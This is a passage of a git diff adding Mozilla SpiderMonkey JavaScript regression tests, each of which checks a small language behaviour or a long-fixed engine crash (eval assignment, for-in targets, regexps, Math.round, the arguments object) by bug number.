+var r3=d5.split(":");
+r3[0]++;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-317714-02.js b/js/src/tests/non262/regress/regress-317714-02.js
new file mode 100644
index 0000000000..8ae50ffeec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-317714-02.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317714;
+var summary = 'Regression test for regression from bug 316885';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var r3="-1";
+r3[0]++;
+
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/non262/regress/regress-319384.js b/js/src/tests/non262/regress/regress-319384.js
new file mode 100644
index 0000000000..bac8dd6e0b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-319384.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319384;
+var summary = 'Do not crash converting string to number';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This test only runs in the browser');
+
+if (typeof clearTimeout === 'function')
+{
+ try
+ {
+ clearTimeout('foo');
+ }
+ catch(ex)
+ {
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-319391.js b/js/src/tests/non262/regress/regress-319391.js
new file mode 100644
index 0000000000..aebb60c434
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-319391.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319391;
+var summary = 'Assignment to eval(...) should be runtime error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var b = {};
+
+expect = 'error';
+try
+{
+ if (1) { eval("b.z") = 3; }
+ actual = 'no error';
+}
+catch(ex)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
+
+expect = 'no error';
+try
+{
+ if (0) { eval("b.z") = 3; }
+ actual = 'no error';
+}
+catch(ex)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-320032.js b/js/src/tests/non262/regress/regress-320032.js
new file mode 100644
index 0000000000..ded2e98a93
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-320032.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320032;
+var summary = 'Parenthesization should not dereference ECMA Reference type';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document != 'undefined' && 'getElementById' in document)
+{
+ try
+ {
+ (document.getElementById)("x");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-320172.js b/js/src/tests/non262/regress/regress-320172.js
new file mode 100644
index 0000000000..3992195d1d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-320172.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320172;
+var summary = 'Regression from bug 285219';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function xxx(){ ["var x"].forEach(eval); })();
+}
+catch(ex)
+{
+}
+
+printStatus('No Crash');
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-321757.js b/js/src/tests/non262/regress/regress-321757.js
new file mode 100644
index 0000000000..268d737cfc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-321757.js
@@ -0,0 +1,109 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321757;
+var summary = 'Compound assignment operators should not bind LHS';
+var actual = '';
+var expect = 'pass';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ foo += 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': +=');
+
+try
+{
+ foo -= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': -=');
+
+try
+{
+ foo *= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': *=');
+
+try
+{
+ foo /= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': /=');
+
+try
+{
+ foo %= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': %=');
+
+try
+{
+ foo <<= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': <<=');
+
+try
+{
+ foo >>= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': >>=');
+
+try
+{
+ foo >>>= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': >>>=');
diff --git a/js/src/tests/non262/regress/regress-321874.js b/js/src/tests/non262/regress/regress-321874.js
new file mode 100644
index 0000000000..d6fbf77c29
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-321874.js
@@ -0,0 +1,207 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321874;
+var summary = 'lhs must be a reference in (for lhs in rhs) ...';
+var actual = '';
+var expect = '';
+var section;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a() {}
+var b = {foo: 'bar'};
+
+printStatus('for-in tests');
+
+var v;
+section = summary + ': for((v) in b);';
+expect = 'foo';
+printStatus(section);
+try
+{
+ eval('for ((v) in b);');
+ actual = v;
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': function foo(){for((v) in b);};foo();';
+expect = 'foo';
+printStatus(section);
+try
+{
+ eval('function foo(){ for ((v) in b);}; foo();');
+ actual = v;
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': for(a() in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (a() in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': function foo(){for(a() in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (a() in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = ': for(new a() in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (new a() in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': function foo(){for(new a() in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (new a() in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': for(void in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (void in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': function foo(){for(void in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (void in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+var d = 1;
+var e = 2;
+expect = 'error';
+section = ': for((d*e) in b);';
+printStatus(section);
+try
+{
+ eval('for ((d*e) in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+var d = 1;
+var e = 2;
+expect = 'error';
+section = ': function foo(){for((d*e) in b);};foo();';
+printStatus(section);
+try
+{
+ eval('function foo(){ for ((d*e) in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+const c = 0;
+expect = 'error';
+section = ': for(c in b);';
+printStatus(section);
+try
+{
+ eval('for (c in b);');
+ actual = c;
+ printStatus('typeof c: ' + (typeof c) + ', c: ' + c);
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+expect = 'error';
+section = ': function foo(){for(c in b);};foo();';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (c in b);};foo();');
+ actual = c;
+ printStatus('typeof c: ' + (typeof c) + ', c: ' + c);
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
diff --git a/js/src/tests/non262/regress/regress-321971.js b/js/src/tests/non262/regress/regress-321971.js
new file mode 100644
index 0000000000..c40b1f47b4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-321971.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321971;
+var summary = 'JSOP_FINDNAME replaces JSOP_BINDNAME';
+var actual = 'no error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s='';
+for (i=0; i < 1<<16; i++)
+ s += 'x' + i + '=' + i + ';\n';
+
+s += 'foo=' + i + ';\n';
+eval(s);
+foo;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-325925.js b/js/src/tests/non262/regress/regress-325925.js
new file mode 100644
index 0000000000..e75415b105
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-325925.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 325925;
+var summary = 'Do not Assert: c <= cs->length in AddCharacterToCharSet';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/[\cA]/.exec('\x01');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-326467.js b/js/src/tests/non262/regress/regress-326467.js
new file mode 100644
index 0000000000..5dc1f59b5d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-326467.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326467;
+var summary = 'Do not assert: slot < fp->nvars, at jsinterp.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+eval('for(var prop in {1:1})prop;', {})
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-328012.js b/js/src/tests/non262/regress/regress-328012.js
new file mode 100644
index 0000000000..8ccc673b6e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-328012.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328012;
+var summary = 'Content PropertyIterator should not root in chrome';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof focus != 'undefined' && focus.prototype)
+{
+ try
+ {
+ for (prop in focus.prototype.toString)
+ ;
+ }
+ catch(ex)
+ {
+ printStatus(ex + '');
+ actual = ex + '';
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-328664.js b/js/src/tests/non262/regress/regress-328664.js
new file mode 100644
index 0000000000..be744f8fac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-328664.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328664;
+var summary = 'Correct error message for funccall(undefined, undefined.prop)';
+var actual = '';
+var expect = /TypeError: .*value.parameters (has no properties|is undefined)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value = {};
+
+function funccall(a,b)
+{
+}
+
+try
+{
+ funccall(value[1], value.parameters[1]);
+}
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex + '';
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-329383.js b/js/src/tests/non262/regress/regress-329383.js
new file mode 100644
index 0000000000..00c7260cae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-329383.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 329383;
+var summary = 'Math copysign issues';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var inputs = [
+ -Infinity,
+ -10.01,
+ -9.01,
+ -8.01,
+ -7.01,
+ -6.01,
+ -5.01,
+ -4.01,
+ -Math.PI,
+ -3.01,
+ -2.01,
+ -1.01,
+ -0.5,
+ -0.49,
+ -0.01,
+ -0,
+ 0,
+ +0,
+ 0.01,
+ 0.49,
+ 0.50,
+ 0,
+ 1.01,
+ 2.01,
+ 3.01,
+ Math.PI,
+ 4.01,
+ 5.01,
+ 6.01,
+ 7.01,
+ 8.01,
+ 9.01,
+ 10.01,
+ Infinity
+ ];
+
+var iinput;
+
+for (iinput = 0; iinput < inputs.length; iinput++)
+{
+ var input = inputs[iinput];
+ reportCompare(Math.round(input),
+ emulateRound(input),
+ summary + ': Math.round(' + input + ')');
+}
+
+reportCompare(isNaN(Math.round(NaN)),
+ isNaN(emulateRound(NaN)),
+ summary + ': Math.round(' + input + ')');
+
+function emulateRound(x)
+{
+ if (!isFinite(x) || x === 0) return x
+ if (-0.5 <= x && x < 0) return -0
+ return Math.floor(x + 0.5)
+ }
+
+var z;
+
+z = Math.min(-0, 0);
+
+reportCompare(-Math.PI, Math.atan2(z, z), summary + ': Math.atan2(-0, -0)');
+reportCompare(-Infinity, 1/z, summary + ': 1/-0');
+
+z = Math.max(-0, 0);
+
+reportCompare(0, Math.atan2(z, z), summary + ': Math.atan2(0, 0)');
+reportCompare(Infinity, 1/z, summary + ': 1/0');
diff --git a/js/src/tests/non262/regress/regress-329530.js b/js/src/tests/non262/regress/regress-329530.js
new file mode 100644
index 0000000000..05aa1e78bf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-329530.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 329530;
+var summary = 'Do not crash when calling toString on a deeply nested function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var nestingLevel = 1000;
+
+function buildTestFunction(N) {
+ var i, funSourceStart = "", funSourceEnd = "";
+ for (i=0; i < N; ++i) {
+ funSourceStart += "function testFoo() {";
+ funSourceEnd += "}";
+ }
+ return Function(funSourceStart + funSourceEnd);
+}
+
+try
+{
+ var testSource = buildTestFunction(nestingLevel).toString();
+ printStatus(testSource.length);
+}
+catch(ex)
+{
+ printStatus(ex + '');
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-330352.js b/js/src/tests/non262/regress/regress-330352.js
new file mode 100644
index 0000000000..a33c617625
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-330352.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330352;
+var summary = 'Very non-greedy regexp causes crash in jsregexp.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+if ("AB".match(/(.*?)*?B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*?)*?B/)');
+
+if ("AB".match(/(.*)*?B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*)*?B/)');
+
+if ("AB".match(/(.*?)*B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*?)*B/)');
diff --git a/js/src/tests/non262/regress/regress-330951.js b/js/src/tests/non262/regress/regress-330951.js
new file mode 100644
index 0000000000..a7b2140239
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-330951.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330951;
+var summary = 'Crash in Array.sort on array with undefined value';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+[undefined,1].sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-01.js b/js/src/tests/non262/regress/regress-334807-01.js
new file mode 100644
index 0000000000..977b97fc11
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function () { printStatus( arguments.join()); })( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-02.js b/js/src/tests/non262/regress/regress-334807-02.js
new file mode 100644
index 0000000000..59b616695d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Object = Array');
+
+Object = Array;
+
+try
+{
+ (function () { printStatus( arguments.join()); })( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-03.js b/js/src/tests/non262/regress/regress-334807-03.js
new file mode 100644
index 0000000000..ae4e6a87d8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-03.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ 0, function () { printStatus( arguments.join()); }( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-04.js b/js/src/tests/non262/regress/regress-334807-04.js
new file mode 100644
index 0000000000..4c229ceb35
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-04.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Object = Array');
+
+Object = Array;
+
+try
+{
+ 0, function () { printStatus( arguments.join()); }( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-05.js b/js/src/tests/non262/regress/regress-334807-05.js
new file mode 100644
index 0000000000..02e698c50e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-05.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '12.14 - exception prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ x.y;
+}
+catch(ex)
+{
+ try
+ {
+ actual = ex.name;
+ printStatus(ex + ': x.y');
+ ex.valueOf();
+ }
+ catch(ex2)
+ {
+ printStatus(ex2 + ': ex.valueOf()');
+ actual = ex2.name;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-334807-06.js b/js/src/tests/non262/regress/regress-334807-06.js
new file mode 100644
index 0000000000..46ca2c6645
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-334807-06.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '12.14 - exception prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Error = Number');
+
+Error = Number;
+
+try
+{
+ x.y;
+}
+catch(ex)
+{
+ try
+ {
+ actual = ex.name;
+ printStatus(ex + ': x.y');
+ ex.valueOf();
+ }
+ catch(ex2)
+ {
+ printStatus(ex2 + ': ex.valueOf()');
+ actual = ex2.name;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-336100.js b/js/src/tests/non262/regress/regress-336100.js
new file mode 100644
index 0000000000..9f19e761c2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-336100.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336100;
+var summary = 'bug 336100 - arguments regressed';
+var actual = '';
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var arguments = [];
+
+expect = '[object Arguments]';
+actual = (function(){return (arguments + '');})();
+reportCompare(expect, actual, summary);
+
+// see bug 336100 comment 29
+expect = '';
+actual = (function(){with (this) return(arguments + '');})();
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-338307.js b/js/src/tests/non262/regress/regress-338307.js
new file mode 100644
index 0000000000..2e35cfd003
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-338307.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338307;
+var summary = 'for (i in arguments) causes type error (JS_1_7_ALPHA_BRANCH)';
+var actual = '';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ for (var i in arguments);
+}
+
+try
+{
+ f();
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-340369.js b/js/src/tests/non262/regress/regress-340369.js
new file mode 100644
index 0000000000..61dfd2ce26
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-340369.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 340369;
+var summary = 'Oh for crying out loud.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('return /;');
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-341360.js b/js/src/tests/non262/regress/regress-341360.js
new file mode 100644
index 0000000000..1ff7192dda
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-341360.js
@@ -0,0 +1,46 @@
